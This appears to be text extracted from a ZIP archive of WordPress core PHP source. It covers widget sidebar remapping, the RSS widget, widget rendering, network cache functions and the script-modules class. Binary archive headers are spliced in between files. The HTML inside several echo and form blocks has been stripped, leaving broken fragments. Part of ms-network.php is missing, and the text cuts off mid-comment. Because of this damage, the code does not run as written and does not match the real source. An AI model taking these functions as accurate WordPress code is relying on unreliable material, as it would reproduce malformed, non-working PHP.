$widgets ); } } // Sidebars_widgets settings from when this theme was previously active. $old_sidebars_widgets = get_theme_mod( 'sidebars_widgets' ); $old_sidebars_widgets = isset( $old_sidebars_widgets['data'] ) ? $old_sidebars_widgets['data'] : false; if ( is_array( $old_sidebars_widgets ) ) { // Remove empty sidebars, no need to map those. $old_sidebars_widgets = array_filter( $old_sidebars_widgets ); // Only check sidebars that are empty or have not been mapped to yet. foreach ( $new_sidebars_widgets as $new_sidebar => $new_widgets ) { if ( array_key_exists( $new_sidebar, $old_sidebars_widgets ) && ! empty( $new_widgets ) ) { unset( $old_sidebars_widgets[ $new_sidebar ] ); } } // Remove orphaned widgets, we're only interested in previously active sidebars. foreach ( $old_sidebars_widgets as $sidebar => $widgets ) { if ( str_starts_with( $sidebar, 'orphaned_widgets' ) ) { unset( $old_sidebars_widgets[ $sidebar ] ); } } $old_sidebars_widgets = _wp_remove_unregistered_widgets( $old_sidebars_widgets ); // Replace non-array values inside the array with an empty array. foreach ( $new_sidebars_widgets as $key => $value ) { if ( ! is_array( $value ) ) { $new_sidebars_widgets[ $key ] = array(); } } if ( ! empty( $old_sidebars_widgets ) ) { // Go through each remaining sidebar... foreach ( $old_sidebars_widgets as $old_sidebar => $old_widgets ) { // ...and check every new sidebar... foreach ( $new_sidebars_widgets as $new_sidebar => $new_widgets ) { // ...for every widget we're trying to revive. foreach ( $old_widgets as $key => $widget_id ) { $active_key = array_search( $widget_id, $new_widgets, true ); // If the widget is used elsewhere... if ( false !== $active_key ) { // ...and that elsewhere is inactive widgets... if ( 'wp_inactive_widgets' === $new_sidebar ) { // ...remove it from there and keep the active version... unset( $new_sidebars_widgets['wp_inactive_widgets'][ $active_key ] ); } else { // ...otherwise remove it from the old sidebar and keep it in the new one. unset( $old_sidebars_widgets[ $old_sidebar ][ $key ] ); } } // End if ( $active_key ). } // End foreach ( $old_widgets as $key => $widget_id ). } // End foreach ( $new_sidebars_widgets as $new_sidebar => $new_widgets ). } // End foreach ( $old_sidebars_widgets as $old_sidebar => $old_widgets ). } // End if ( ! empty( $old_sidebars_widgets ) ). // Restore widget settings from when theme was previously active. $new_sidebars_widgets = array_merge( $new_sidebars_widgets, $old_sidebars_widgets ); } return $new_sidebars_widgets; } /** * Compares a list of sidebars with their widgets against an allowed list. * * @since 4.9.0 * * @global array $wp_registered_widgets The registered widgets. * * @param array $sidebars_widgets List of sidebars and their widget instance IDs. * @param array $allowed_widget_ids Optional. List of widget IDs to compare against. Default: Registered widgets. * @return array Sidebars with allowed widgets. */ function _wp_remove_unregistered_widgets( $sidebars_widgets, $allowed_widget_ids = array() ) { if ( empty( $allowed_widget_ids ) ) { $allowed_widget_ids = array_keys( $GLOBALS['wp_registered_widgets'] ); } foreach ( $sidebars_widgets as $sidebar => $widgets ) { if ( is_array( $widgets ) ) { $sidebars_widgets[ $sidebar ] = array_intersect( $widgets, $allowed_widget_ids ); } } return $sidebars_widgets; } /** * Displays the RSS entries in a list. * * @since 2.5.0 * * @param string|array|object $rss RSS url. * @param array $args Widget arguments. */ function wp_widget_rss_output( $rss, $args = array() ) { if ( is_string( $rss ) ) { $rss = fetch_feed( $rss ); } elseif ( is_array( $rss ) && isset( $rss['url'] ) ) { $args = $rss; $rss = fetch_feed( $rss['url'] ); } elseif ( ! is_object( $rss ) ) { return; } if ( is_wp_error( $rss ) ) { if ( is_admin() || current_user_can( 'manage_options' ) ) { echo '

    ' . __( 'RSS Error:' ) . ' ' . esc_html( $rss->get_error_message() ) . '

    '; } return; } $default_args = array( 'show_author' => 0, 'show_date' => 0, 'show_summary' => 0, 'items' => 0, ); $args = wp_parse_args( $args, $default_args ); $items = (int) $args['items']; if ( $items < 1 || 20 < $items ) { $items = 10; } $show_summary = (int) $args['show_summary']; $show_author = (int) $args['show_author']; $show_date = (int) $args['show_date']; if ( ! $rss->get_item_quantity() ) { echo '
    • ' . __( 'An error has occurred, which probably means the feed is down. Try again later.' ) . '
    '; $rss->__destruct(); unset( $rss ); return; } echo '
      '; foreach ( $rss->get_items( 0, $items ) as $item ) { $link = $item->get_link(); while ( ! empty( $link ) && stristr( $link, 'http' ) !== $link ) { $link = substr( $link, 1 ); } $link = esc_url( strip_tags( $link ) ); $title = esc_html( trim( strip_tags( $item->get_title() ) ) ); if ( empty( $title ) ) { $title = __( 'Untitled' ); } $desc = html_entity_decode( $item->get_description(), ENT_QUOTES, get_option( 'blog_charset' ) ); $desc = esc_attr( wp_trim_words( $desc, 55, ' […]' ) ); $summary = ''; if ( $show_summary ) { $summary = $desc; // Change existing [...] to […]. if ( str_ends_with( $summary, '[...]' ) ) { $summary = substr( $summary, 0, -5 ) . '[…]'; } $summary = '
      ' . esc_html( $summary ) . '
      '; } $date = ''; if ( $show_date ) { $date = $item->get_date( 'U' ); if ( $date ) { $date = ' ' . date_i18n( get_option( 'date_format' ), $date ) . ''; } } $author = ''; if ( $show_author ) { $author = $item->get_author(); if ( is_object( $author ) ) { $author = $author->get_name(); $author = ' ' . esc_html( strip_tags( $author ) ) . ''; } } if ( '' === $link ) { echo "
    • $title{$date}{$summary}{$author}
    • "; } elseif ( $show_summary ) { echo "
    • $title{$date}{$summary}{$author}
    • "; } else { echo "
    • $title{$date}{$author}
    • "; } } echo '
    '; $rss->__destruct(); unset( $rss ); } /** * Displays RSS widget options form. * * The options for what fields are displayed for the RSS form are all booleans * and are as follows: 'url', 'title', 'items', 'show_summary', 'show_author', * 'show_date'. * * @since 2.5.0 * * @param array|string $args Values for input fields. * @param array $inputs Override default display options. */ function wp_widget_rss_form( $args, $inputs = null ) { $default_inputs = array( 'url' => true, 'title' => true, 'items' => true, 'show_summary' => true, 'show_author' => true, 'show_date' => true, ); $inputs = wp_parse_args( $inputs, $default_inputs ); $args['title'] = isset( $args['title'] ) ? $args['title'] : ''; $args['url'] = isset( $args['url'] ) ? $args['url'] : ''; $args['items'] = isset( $args['items'] ) ? (int) $args['items'] : 0; if ( $args['items'] < 1 || 20 < $args['items'] ) { $args['items'] = 10; } $args['show_summary'] = isset( $args['show_summary'] ) ? (int) $args['show_summary'] : (int) $inputs['show_summary']; $args['show_author'] = isset( $args['show_author'] ) ? (int) $args['show_author'] : (int) $inputs['show_author']; $args['show_date'] = isset( $args['show_date'] ) ? (int) $args['show_date'] : (int) $inputs['show_date']; if ( ! empty( $args['error'] ) ) { echo '

    ' . __( 'RSS Error:' ) . ' ' . esc_html( $args['error'] ) . '

    '; } $esc_number = esc_attr( $args['number'] ); if ( $inputs['url'] ) : ?>

    />
    />
    />

    get_error_message(); } else { $link = esc_url( strip_tags( $rss->get_permalink() ) ); while ( stristr( $link, 'http' ) !== $link ) { $link = substr( $link, 1 ); } $rss->__destruct(); unset( $rss ); } } return compact( 'title', 'url', 'link', 'items', 'error', 'show_summary', 'show_author', 'show_date' ); } /** * Registers all of the default WordPress widgets on startup. * * Calls {@see 'widgets_init'} action after all of the WordPress widgets have been registered. * * @since 2.2.0 */ function wp_widgets_init() { if ( ! is_blog_installed() ) { return; } register_widget( 'WP_Widget_Pages' ); register_widget( 'WP_Widget_Calendar' ); register_widget( 'WP_Widget_Archives' ); if ( get_option( 'link_manager_enabled' ) ) { register_widget( 'WP_Widget_Links' ); } register_widget( 'WP_Widget_Media_Audio' ); register_widget( 'WP_Widget_Media_Image' ); register_widget( 'WP_Widget_Media_Gallery' ); register_widget( 'WP_Widget_Media_Video' ); register_widget( 'WP_Widget_Meta' ); register_widget( 'WP_Widget_Search' ); register_widget( 'WP_Widget_Text' ); register_widget( 'WP_Widget_Categories' ); register_widget( 'WP_Widget_Recent_Posts' ); register_widget( 'WP_Widget_Recent_Comments' ); register_widget( 'WP_Widget_RSS' ); register_widget( 'WP_Widget_Tag_Cloud' ); register_widget( 'WP_Nav_Menu_Widget' ); register_widget( 'WP_Widget_Custom_HTML' ); register_widget( 'WP_Widget_Block' ); /** * Fires after all default WordPress widgets have been registered. * * @since 2.2.0 */ do_action( 'widgets_init' ); } /** * Enables the widgets block editor. This is hooked into 'after_setup_theme' so * that the block editor is enabled by default but can be disabled by themes. * * @since 5.8.0 * * @access private */ function wp_setup_widgets_block_editor() { add_theme_support( 'widgets-block-editor' ); } /** * Determines whether or not to use the block editor to manage widgets. * Defaults to true unless a theme has removed support for widgets-block-editor * or a plugin has filtered the return value of this function. * * @since 5.8.0 * * @return bool Whether to use the block editor to manage widgets. */ function wp_use_widgets_block_editor() { /** * Filters whether to use the block editor to manage widgets. * * @since 5.8.0 * * @param bool $use_widgets_block_editor Whether to use the block editor to manage widgets. */ return apply_filters( 'use_widgets_block_editor', get_theme_support( 'widgets-block-editor' ) ); } /** * Converts a widget ID into its id_base and number components. * * @since 5.8.0 * * @param string $id Widget ID. * @return array Array containing a widget's id_base and number components. */ function wp_parse_widget_id( $id ) { $parsed = array(); if ( preg_match( '/^(.+)-(\d+)$/', $id, $matches ) ) { $parsed['id_base'] = $matches[1]; $parsed['number'] = (int) $matches[2]; } else { // Likely an old single widget. $parsed['id_base'] = $id; } return $parsed; } /** * Finds the sidebar that a given widget belongs to. * * @since 5.8.0 * * @param string $widget_id The widget ID to look for. * @return string|null The found sidebar's ID, or null if it was not found. */ function wp_find_widgets_sidebar( $widget_id ) { foreach ( wp_get_sidebars_widgets() as $sidebar_id => $widget_ids ) { foreach ( $widget_ids as $maybe_widget_id ) { if ( $maybe_widget_id === $widget_id ) { return (string) $sidebar_id; } } } return null; } /** * Assigns a widget to the given sidebar. * * @since 5.8.0 * * @param string $widget_id The widget ID to assign. * @param string $sidebar_id The sidebar ID to assign to. If empty, the widget won't be added to any sidebar. */ function wp_assign_widget_to_sidebar( $widget_id, $sidebar_id ) { $sidebars = wp_get_sidebars_widgets(); foreach ( $sidebars as $maybe_sidebar_id => $widgets ) { foreach ( $widgets as $i => $maybe_widget_id ) { if ( $widget_id === $maybe_widget_id && $sidebar_id !== $maybe_sidebar_id ) { unset( $sidebars[ $maybe_sidebar_id ][ $i ] ); // We could technically break 2 here, but continue looping in case the ID is duplicated. continue 2; } } } if ( $sidebar_id ) { $sidebars[ $sidebar_id ][] = $widget_id; } wp_set_sidebars_widgets( $sidebars ); } /** * Calls the render callback of a widget and returns the output. * * @since 5.8.0 * * @global array $wp_registered_widgets The registered widgets. * @global array $wp_registered_sidebars The registered sidebars. * * @param string $widget_id Widget ID. * @param string $sidebar_id Sidebar ID. * @return string */ function wp_render_widget( $widget_id, $sidebar_id ) { global $wp_registered_widgets, $wp_registered_sidebars; if ( ! isset( $wp_registered_widgets[ $widget_id ] ) ) { return ''; } if ( isset( $wp_registered_sidebars[ $sidebar_id ] ) ) { $sidebar = $wp_registered_sidebars[ $sidebar_id ]; } elseif ( 'wp_inactive_widgets' === $sidebar_id ) { $sidebar = array(); } else { return ''; } $params = array_merge( array( array_merge( $sidebar, array( 'widget_id' => $widget_id, 'widget_name' => $wp_registered_widgets[ $widget_id ]['name'], ) ), ), (array) $wp_registered_widgets[ $widget_id ]['params'] ); // Substitute HTML `id` and `class` attributes into `before_widget`. $classname_ = ''; foreach ( (array) $wp_registered_widgets[ $widget_id ]['classname'] as $cn ) { if ( is_string( $cn ) ) { $classname_ .= '_' . $cn; } elseif ( is_object( $cn ) ) { $classname_ .= '_' . get_class( $cn ); } } $classname_ = ltrim( $classname_, '_' ); $params[0]['before_widget'] = sprintf( $params[0]['before_widget'], $widget_id, $classname_ ); /** This filter is documented in wp-includes/widgets.php */ $params = apply_filters( 'dynamic_sidebar_params', $params ); $callback = $wp_registered_widgets[ $widget_id ]['callback']; ob_start(); /** This filter is documented in wp-includes/widgets.php */ do_action( 'dynamic_sidebar', $wp_registered_widgets[ $widget_id ] ); if ( is_callable( $callback ) ) { call_user_func_array( $callback, $params ); } return ob_get_clean(); } /** * Calls the control callback of a widget and returns the output. * * @since 5.8.0 * * @global array $wp_registered_widget_controls The registered widget controls. * * @param string $id Widget ID. * @return string|null */ function wp_render_widget_control( $id ) { global $wp_registered_widget_controls; if ( ! isset( $wp_registered_widget_controls[ $id ]['callback'] ) ) { return null; } $callback = $wp_registered_widget_controls[ $id ]['callback']; $params = $wp_registered_widget_controls[ $id ]['params']; ob_start(); if ( is_callable( $callback ) ) { call_user_func_array( $callback, $params ); } return ob_get_clean(); } /** * Displays a _doing_it_wrong() message for conflicting widget editor scripts. * * The 'wp-editor' script module is exposed as window.wp.editor. This overrides * the legacy TinyMCE editor module which is required by the widgets editor. * Because of that conflict, these two shouldn't be enqueued together. * See https://core.trac.wordpress.org/ticket/53569. * * There is also another conflict related to styles where the block widgets * editor is hidden if a block enqueues 'wp-edit-post' stylesheet. * See https://core.trac.wordpress.org/ticket/53569. * * @since 5.8.0 * @access private * * @global WP_Scripts $wp_scripts * @global WP_Styles $wp_styles */ function wp_check_widget_editor_deps() { global $wp_scripts, $wp_styles; if ( $wp_scripts->query( 'wp-edit-widgets', 'enqueued' ) || $wp_scripts->query( 'wp-customize-widgets', 'enqueued' ) ) { if ( $wp_scripts->query( 'wp-editor', 'enqueued' ) ) { _doing_it_wrong( 'wp_enqueue_script()', sprintf( /* translators: 1: 'wp-editor', 2: 'wp-edit-widgets', 3: 'wp-customize-widgets'. */ __( '"%1$s" script should not be enqueued together with the new widgets editor (%2$s or %3$s).' ), 'wp-editor', 'wp-edit-widgets', 'wp-customize-widgets' ), '5.8.0' ); } if ( $wp_styles->query( 'wp-edit-post', 'enqueued' ) ) { _doing_it_wrong( 'wp_enqueue_style()', sprintf( /* translators: 1: 'wp-edit-post', 2: 'wp-edit-widgets', 3: 'wp-customize-widgets'. */ __( '"%1$s" style should not be enqueued together with the new widgets editor (%2$s or %3$s).' ), 'wp-edit-post', 'wp-edit-widgets', 'wp-customize-widgets' ), '5.8.0' ); } } } /** * Registers the previous theme's sidebars for the block themes. * * @since 6.2.0 * @access private * * @global array $wp_registered_sidebars The registered sidebars. */ function _wp_block_theme_register_classic_sidebars() { global $wp_registered_sidebars; if ( ! wp_is_block_theme() ) { return; } $classic_sidebars = get_theme_mod( 'wp_classic_sidebars' ); if ( empty( $classic_sidebars ) ) { return; } // Don't use `register_sidebar` since it will enable the `widgets` support for a theme. foreach ( $classic_sidebars as $sidebar ) { $wp_registered_sidebars[ $sidebar['id'] ] = $sidebar; } } PK!x¿ˆÆÆms-network.phpnu„[µü¤query( $args ); } /** * Removes a network from the object cache. * * @since 4.6.0 * * @global bool $_wp_suspend_cache_invalidation * * @param int|array $ids Network ID or an array of network IDs to remove from cache. */ function clean_network_cache( $ids ) { global $_wp_suspend_cache_invalidation; if ( ! empty( $_wp_suspend_cache_invalidation ) ) { return; } $network_ids = (array) $ids; wp_cache_delete_multiple( $network_ids, 'networks' ); foreach ( $network_ids as $id ) { /** * Fires immediately after a network has been removed from the object cache. * * @since 4.6.0 * * @param int $id Network ID. */ do_action( 'clean_network_cache', $id ); } wp_cache_set_last_changed( 'networks' ); } /** * Updates the network cache of given networks. * * Will add the networks in $networks to the cache. If network ID already exists * in the network cache then it will not be updated. The network is added to the * cache using the network group with the key using the ID of the networks. * * @since 4.6.0 * * @param array $networks Array of network row objects. */ function update_network_cache( $networks ) { $data = array(); foreach ( (array) $networks as $network ) { $data[ $network->id ] = $network; } wp_cache_add_multiple( $data, 'networks' ); } /** * Adds any networks from the given IDs to the cache that do not already exist in cache. * * @since 4.6.0 * @since 6.1.0 This function is no longer marked as "private". * * @see update_network_cache() * @global wpdb $wpdb WordPress database abstraction object. * * @param array $network_ids Array of network IDs. */ function _prime_network_caches( $network_ids ) { global $wpdb; $non_cached_ids = _get_non_cached_ids( $network_ids, 'networks' ); if ( ! empty( $non_cached_ids ) ) { $fresh_networks = $wpdb->get_results( sprintf( "SELECT $wpdb->site.* FROM $wpdb->site WHERE id IN (%s)", implode( ',', array_map( 'intval', $non_cached_ids ) ) ) ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared update_network_cache( $fresh_networks ); } } PK!_Êbß•€•€class-wp-script-modules.phpnuȯÝí> */ private $registered = array(); /** * An array of IDs for queued script modules. * * @since 6.9.0 * @var string[] */ private $queue = array(); /** * Holds the script module identifiers that have been printed. * * @since 6.9.0 * @var string[] */ private $done = array(); /** * Tracks whether the @wordpress/a11y script module is available. * * Some additional HTML is required on the page for the module to work. Track * whether it's available to print at the appropriate time. * * @since 6.7.0 * @var bool */ private $a11y_available = false; /** * Holds a mapping of dependents (as IDs) for a given script ID. * Used to optimize recursive dependency tree checks. * * @since 6.9.0 * @var array */ private $dependents_map = array(); /** * Holds the valid values for fetchpriority. * * @since 6.9.0 * @var string[] */ private $priorities = array( 'low', 'auto', 'high', ); /** * List of IDs for script modules encountered which have missing dependencies. * * An ID is added to this list when it is discovered to have missing dependencies. At this time, a warning is * emitted with {@see _doing_it_wrong()}. The ID is then added to this list, so that duplicate warnings don't occur. * * @since 6.9.1 * @var string[] */ private $modules_with_missing_dependencies = array(); /** * Registers the script module if no script module with that script module * identifier has already been registered. * * @since 6.5.0 * @since 6.9.0 Added the $args parameter. * * @param string $id The identifier of the script module. Should be unique. It will be used in the * final import map. * @param string $src Optional. Full URL of the script module, or path of the script module relative * to the WordPress root directory. If it is provided and the script module has * not been registered yet, it will be registered. * @param array $deps { * Optional. List of dependencies. * * @type string|array ...$0 { * An array of script module identifiers of the dependencies of this script * module. The dependencies can be strings or arrays. If they are arrays, * they need an `id` key with the script module identifier, and can contain * an `import` key with either `static` or `dynamic`. By default, * dependencies that don't contain an `import` key are considered static. * * @type string $id The script module identifier. * @type string $import Optional. Import type. May be either `static` or * `dynamic`. Defaults to `static`. * } * } * @param string|false|null $version Optional. String specifying the script module version number. Defaults to false. * It is added to the URL as a query string for cache busting purposes. If $version * is set to false, the version number is the currently installed WordPress version. * If $version is set to null, no version is added. * @param array $args { * Optional. An array of additional args. Default empty array. * * @type bool $in_footer Whether to print the script module in the footer. Only relevant to block themes. Default 'false'. Optional. * @type 'auto'|'low'|'high' $fetchpriority Fetch priority. Default 'auto'. Optional. * } */ public function register( string $id, string $src, array $deps = array(), $version = false, array $args = array() ) { if ( '' === $id ) { _doing_it_wrong( __METHOD__, __( 'Non-empty string required for id.' ), '6.9.0' ); return; } if ( ! isset( $this->registered[ $id ] ) ) { $dependencies = array(); foreach ( $deps as $dependency ) { if ( is_array( $dependency ) ) { if ( ! isset( $dependency['id'] ) || ! is_string( $dependency['id'] ) ) { _doing_it_wrong( __METHOD__, __( 'Missing required id key in entry among dependencies array.' ), '6.5.0' ); continue; } $dependencies[] = array( 'id' => $dependency['id'], 'import' => isset( $dependency['import'] ) && 'dynamic' === $dependency['import'] ? 'dynamic' : 'static', ); } elseif ( is_string( $dependency ) ) { $dependencies[] = array( 'id' => $dependency, 'import' => 'static', ); } else { _doing_it_wrong( __METHOD__, __( 'Entries in dependencies array must be either strings or arrays with an id key.' ), '6.5.0' ); } } $in_footer = isset( $args['in_footer'] ) && (bool) $args['in_footer']; $fetchpriority = 'auto'; if ( isset( $args['fetchpriority'] ) ) { if ( $this->is_valid_fetchpriority( $args['fetchpriority'] ) ) { $fetchpriority = $args['fetchpriority']; } else { _doing_it_wrong( __METHOD__, sprintf( /* translators: 1: $fetchpriority, 2: $id */ __( 'Invalid fetchpriority `%1$s` defined for `%2$s` during script registration.' ), is_string( $args['fetchpriority'] ) ? $args['fetchpriority'] : gettype( $args['fetchpriority'] ), $id ), '6.9.0' ); } } $this->registered[ $id ] = array( 'src' => $src, 'version' => $version, 'dependencies' => $dependencies, 'in_footer' => $in_footer, 'fetchpriority' => $fetchpriority, ); } } /** * Gets IDs for queued script modules. * * @since 6.9.0 * * @return string[] Script module IDs. */ public function get_queue(): array { return $this->queue; } /** * Checks if the provided fetchpriority is valid. * * @since 6.9.0 * * @param string|mixed $priority Fetch priority. * @return bool Whether valid fetchpriority. */ private function is_valid_fetchpriority( $priority ): bool { return in_array( $priority, $this->priorities, true ); } /** * Sets the fetch priority for a script module. * * @since 6.9.0 * * @param string $id Script module identifier. * @param 'auto'|'low'|'high' $priority Fetch priority for the script module. * @return bool Whether setting the fetchpriority was successful. */ public function set_fetchpriority( string $id, string $priority ): bool { if ( ! isset( $this->registered[ $id ] ) ) { return false; } if ( '' === $priority ) { $priority = 'auto'; } if ( ! $this->is_valid_fetchpriority( $priority ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Invalid fetchpriority. */ sprintf( __( 'Invalid fetchpriority: %s' ), $priority ), '6.9.0' ); return false; } $this->registered[ $id ]['fetchpriority'] = $priority; return true; } /** * Sets whether a script module should be printed in the footer. * * This is only relevant in block themes. * * @since 6.9.0 * * @param string $id Script module identifier. * @param bool $in_footer Whether to print in the footer. * @return bool Whether setting the printing location was successful. */ public function set_in_footer( string $id, bool $in_footer ): bool { if ( ! isset( $this->registered[ $id ] ) ) { return false; } $this->registered[ $id ]['in_footer'] = $in_footer; return true; } /** * Marks the script module to be enqueued in the page. * * If a src is provided and the script module has not been registered yet, it * will be registered. * * @since 6.5.0 * @since 6.9.0 Added the $args parameter. * * @param string $id The identifier of the script module. Should be unique. It will be used in the * final import map. * @param string $src Optional. Full URL of the script module, or path of the script module relative * to the WordPress root directory. If it is provided and the script module has * not been registered yet, it will be registered. * @param array $deps { * Optional. List of dependencies. * * @type string|array ...$0 { * An array of script module identifiers of the dependencies of this script * module. The dependencies can be strings or arrays. If they are arrays, * they need an `id` key with the script module identifier, and can contain * an `import` key with either `static` or `dynamic`. By default, * dependencies that don't contain an `import` key are considered static. * * @type string $id The script module identifier. * @type string $import Optional. Import type. May be either `static` or * `dynamic`. Defaults to `static`. * } * } * @param string|false|null $version Optional. String specifying the script module version number. Defaults to false. * It is added to the URL as a query string for cache busting purposes. If $version * is set to false, the version number is the currently installed WordPress version. * If $version is set to null, no version is added. * @param array $args { * Optional. An array of additional args. Default empty array. * * @type bool $in_footer Whether to print the script module in the footer. Only relevant to block themes. Default 'false'. Optional. * @type 'auto'|'low'|'high' $fetchpriority Fetch priority. Default 'auto'. Optional. * } */ public function enqueue( string $id, string $src = '', array $deps = array(), $version = false, array $args = array() ) { if ( '' === $id ) { _doing_it_wrong( __METHOD__, __( 'Non-empty string required for id.' ), '6.9.0' ); return; } if ( ! in_array( $id, $this->queue, true ) ) { $this->queue[] = $id; } if ( ! isset( $this->registered[ $id ] ) && $src ) { $this->register( $id, $src, $deps, $version, $args ); } } /** * Unmarks the script module so it will no longer be enqueued in the page. * * @since 6.5.0 * * @param string $id The identifier of the script module. */ public function dequeue( string $id ) { $this->queue = array_values( array_diff( $this->queue, array( $id ) ) ); } /** * Removes a registered script module. * * @since 6.5.0 * * @param string $id The identifier of the script module. */ public function deregister( string $id ) { $this->dequeue( $id ); unset( $this->registered[ $id ] ); } /** * Adds the hooks to print the import map, enqueued script modules and script * module preloads. * * In classic themes, the script modules used by the blocks are not yet known * when the `wp_head` actions is fired, so it needs to print everything in the * footer. * * @since 6.5.0 */ public function add_hooks() { $is_block_theme = wp_is_block_theme(); $position = $is_block_theme ? 'wp_head' : 'wp_footer'; add_action( $position, array( $this, 'print_import_map' ) ); if ( $is_block_theme ) { /* * Modules can only be printed in the head for block themes because only with * block themes will import map be fully populated by modules discovered by * rendering the block template. In classic themes, modules are enqueued during * template rendering, thus the import map must be printed in the footer, * followed by all enqueued modules. */ add_action( 'wp_head', array( $this, 'print_head_enqueued_script_modules' ) ); } add_action( 'wp_footer', array( $this, 'print_enqueued_script_modules' ) ); add_action( $position, array( $this, 'print_script_module_preloads' ) ); add_action( 'admin_print_footer_scripts', array( $this, 'print_import_map' ) ); add_action( 'admin_print_footer_scripts', array( $this, 'print_enqueued_script_modules' ) ); add_action( 'admin_print_footer_scripts', array( $this, 'print_script_module_preloads' ) ); add_action( 'wp_footer', array( $this, 'print_script_module_data' ) ); add_action( 'admin_print_footer_scripts', array( $this, 'print_script_module_data' ) ); add_action( 'wp_footer', array( $this, 'print_a11y_script_module_html' ), 20 ); add_action( 'admin_print_footer_scripts', array( $this, 'print_a11y_script_module_html' ), 20 ); } /** * Gets the highest fetch priority for the provided script IDs. * * @since 6.9.0 * * @param string[] $ids Script module IDs. * @return 'auto'|'low'|'high' Highest fetch priority for the provided script module IDs. */ private function get_highest_fetchpriority( array $ids ): string { static $high_priority_index = null; if ( null === $high_priority_index ) { $high_priority_index = count( $this->priorities ) - 1; } $highest_priority_index = 0; foreach ( $ids as $id ) { if ( isset( $this->registered[ $id ] ) ) { $highest_priority_index = (int) max( $highest_priority_index, (int) array_search( $this->registered[ $id ]['fetchpriority'], $this->priorities, true ) ); if ( $high_priority_index === $highest_priority_index ) { break; } } } return $this->priorities[ $highest_priority_index ]; } /** * Prints the enqueued script modules in head. * * This is only used in block themes. * * @since 6.9.0 */ public function print_head_enqueued_script_modules() { foreach ( $this->get_sorted_dependencies( $this->queue ) as $id ) { if ( isset( $this->registered[ $id ] ) && ! $this->registered[ $id ]['in_footer'] ) { // If any dependency is set to be printed in footer, skip printing this module in head. $dependencies = array_keys( $this->get_dependencies( array( $id ) ) ); foreach ( $dependencies as $dependency_id ) { if ( in_array( $dependency_id, $this->queue, true ) && isset( $this->registered[ $dependency_id ] ) && $this->registered[ $dependency_id ]['in_footer'] ) { continue 2; } } $this->print_script_module( $id ); } } } /** * Prints the enqueued script modules in footer. * * @since 6.5.0 */ public function print_enqueued_script_modules() { foreach ( $this->get_sorted_dependencies( $this->queue ) as $id ) { $this->print_script_module( $id ); } } /** * Prints the enqueued script module using script tags with type="module" * attributes. * * @since 6.9.0 * * @param string $id The script module identifier. */ private function print_script_module( string $id ) { if ( in_array( $id, $this->done, true ) || ! in_array( $id, $this->queue, true ) ) { return; } $this->done[] = $id; $src = $this->get_src( $id ); if ( '' === $src ) { return; } $attributes = array( 'type' => 'module', 'src' => $src, 'id' => $id . '-js-module', ); $script_module = $this->registered[ $id ]; $queued_dependents = array_intersect( $this->queue, $this->get_recursive_dependents( $id ) ); $fetchpriority = $this->get_highest_fetchpriority( array_merge( array( $id ), $queued_dependents ) ); if ( 'auto' !== $fetchpriority ) { $attributes['fetchpriority'] = $fetchpriority; } if ( $fetchpriority !== $script_module['fetchpriority'] ) { $attributes['data-wp-fetchpriority'] = $script_module['fetchpriority']; } wp_print_script_tag( $attributes ); } /** * Prints the static dependencies of the enqueued script modules using * link tags with rel="modulepreload" attributes. * * If a script module is marked for enqueue, it will not be preloaded. * * @since 6.5.0 */ public function print_script_module_preloads() { $dependency_ids = $this->get_sorted_dependencies( $this->queue, array( 'static' ) ); foreach ( $dependency_ids as $id ) { // Don't preload if it's marked for enqueue. if ( in_array( $id, $this->queue, true ) ) { continue; } $src = $this->get_src( $id ); if ( '' === $src ) { continue; } $enqueued_dependents = array_intersect( $this->get_recursive_dependents( $id ), $this->queue ); $highest_fetchpriority = $this->get_highest_fetchpriority( $enqueued_dependents ); printf( 'registered[ $id ]['fetchpriority'] && 'auto' !== $this->registered[ $id ]['fetchpriority'] ) { printf( ' data-wp-fetchpriority="%s"', esc_attr( $this->registered[ $id ]['fetchpriority'] ) ); } echo ">\n"; } } /** * Prints the import map using a script tag with a type="importmap" attribute. * * @since 6.5.0 */ public function print_import_map() { $import_map = $this->get_import_map(); if ( ! empty( $import_map['imports'] ) ) { wp_print_inline_script_tag( (string) wp_json_encode( $import_map, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ), array( 'type' => 'importmap', 'id' => 'wp-importmap', ) ); } } /** * Returns the import map array. * * @since 6.5.0 * * @return array Array with an `imports` key mapping to an array of script module identifiers and their respective * URLs, including the version query. */ private function get_import_map(): array { $imports = array(); foreach ( array_keys( $this->get_dependencies( $this->queue ) ) as $id ) { $src = $this->get_src( $id ); if ( '' !== $src ) { $imports[ $id ] = $src; } } return array( 'imports' => $imports ); } /** * Retrieves the list of script modules marked for enqueue. * * Even though this is a private method and is unused in core, there are ecosystem plugins accessing it via the * Reflection API. The ecosystem should rather use {@see self::get_queue()}. * * @since 6.5.0 * * @return array Script modules marked for enqueue, keyed by script module identifier. */ private function get_marked_for_enqueue(): array { return wp_array_slice_assoc( $this->registered, $this->queue ); } /** * Retrieves all the dependencies for the given script module identifiers, filtered by import types. * * It will consolidate an array containing a set of unique dependencies based * on the requested import types: 'static', 'dynamic', or both. This method is * recursive and also retrieves dependencies of the dependencies. * * @since 6.5.0 * * @param string[] $ids The identifiers of the script modules for which to gather dependencies. * @param string[] $import_types Optional. Import types of dependencies to retrieve: 'static', 'dynamic', or both. * Default is both. * @return array List of dependencies, keyed by script module identifier. */ private function get_dependencies( array $ids, array $import_types = array( 'static', 'dynamic' ) ): array { $all_dependencies = array(); $id_queue = $ids; while ( ! empty( $id_queue ) ) { $id = array_shift( $id_queue ); if ( ! isset( $this->registered[ $id ] ) ) { continue; } foreach ( $this->registered[ $id ]['dependencies'] as $dependency ) { if ( ! isset( $all_dependencies[ $dependency['id'] ] ) && in_array( $dependency['import'], $import_types, true ) && isset( $this->registered[ $dependency['id'] ] ) ) { $all_dependencies[ $dependency['id'] ] = $this->registered[ $dependency['id'] ]; // Add this dependency to the list to get dependencies for. $id_queue[] = $dependency['id']; } } } return $all_dependencies; } /** * Gets all dependents of a script module. * * This is not recursive. * * @since 6.9.0 * * @see WP_Scripts::get_dependents() * * @param string $id The script ID. * @return string[] Script module IDs. */ private function get_dependents( string $id ): array { // Check if dependents map for the handle in question is present. If so, use it. if ( isset( $this->dependents_map[ $id ] ) ) { return $this->dependents_map[ $id ]; } $dependents = array(); // Iterate over all registered scripts, finding dependents of the script passed to this method. foreach ( $this->registered as $registered_id => $args ) { if ( in_array( $id, wp_list_pluck( $args['dependencies'], 'id' ), true ) ) { $dependents[] = $registered_id; } } // Add the module's dependents to the map to ease future lookups. $this->dependents_map[ $id ] = $dependents; return $dependents; } /** * Gets all recursive dependents of a 